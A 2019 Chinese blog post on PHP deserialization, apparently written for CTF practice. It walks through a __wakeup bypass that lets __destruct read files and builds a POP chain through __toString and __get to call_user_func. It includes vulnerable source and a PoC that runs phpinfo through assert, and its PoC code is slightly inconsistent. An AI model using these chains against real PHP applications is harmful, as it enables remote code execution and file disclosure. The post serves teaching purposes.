php反序列化简叙

0x01 php简单的反序列化

  这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

<?php
class SoFun{ 
    protected $file='ser.php';
    function __destruct(){ 
        if(!empty($this->file)) {
               if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false){
                show_source(dirname (__FILE__).'/'.$this ->file);
            }
           }
        else{      
            die('Wrong filename.');
           }
    }
    function __wakeup(){ 
        $this-> file='ser.php'; 
    } 
    function __toString(){
        return '' ;
    }
}

if(!isset($_GET['file'])){ 
    show_source('ser.php'); 
} 
else{ 
    $file=base64_decode( $_GET['file']); 
    echo unserialize($file ); 
} 
?>

题目的相关魔术方法调用时机

__destruct()类似于c中的析构函数,在对象被销毁时调用

__toString()在这里没啥用

__wakeup()在进行反序列化的时候调用

 

__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

__wakeup()在__destruct()前面调用

那么目的是绕过__wakeup()进行__destruct()操作

对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

 

首先构造payload

 

<?php
class SoFun{ 
    protected $file='hello.txt';
  public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

 

运行生成base64

 

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

 

0x02 PHP反序列化的进一步利用

 php反序列化的知识点i春秋上的一篇文件写的非常详细

https://bbs.ichunqiu.com/thread-39169-1-1.html

那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

<?php
class C1{
    function __construct($key, $word){
        $sijidou = $key . $word;
    }
}
class C2{
    private $a2;
    function __toString(){
        echo $this->a2->ying;    
        return "hello";
    }
}
class C3{
    private $fun;
    private $parm;
    function __get($key){
        $this->run();
        return null;
    }
    function run(){
        call_user_func($this->fun, $this->parm);
    }
}
if(isset($_GET['ser'])){
    $s = $_GET['ser'];
    $arr = unserialize($s);
    $class1 = new C1($arr['siji'],$arr['dou']);
}
else{
    highlight_file("demo.php");
}  
?>

这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

构造思路是入口为ser的参数,该参数是数组

ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

而 __get魔术方法会调用到run(),从而达到代码执行

附上我写的poc

<?php
    class C1{
        function __construct($key, $word){
            $sijidou = $key . $word;
        }
    }

    class C2{
        private $a2;
        function __toString(){
            $this->a2->ying;    
            return "hello";
        }
        function add(){
            $this->a2 = new C3();
        }
    }

    class C3{
        private $fun = "assert";
        private $parm = "phpinfo()";
        function __get($key){
            $this->run();
        }
        function run(){
            eval($this->a3);
        }
    }
    $class2 = new C2();
    $class3 = new C3();
    $class2->add();
    $exp = array('siji' => $class2, 'dou' => 'dou');
    echo urlencode(serialize($exp));

?>

 利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

http://134.175.147.161:10007/

 

posted @ 2019-02-09 14:24  sijidou  阅读(326)  评论(0编辑  收藏  举报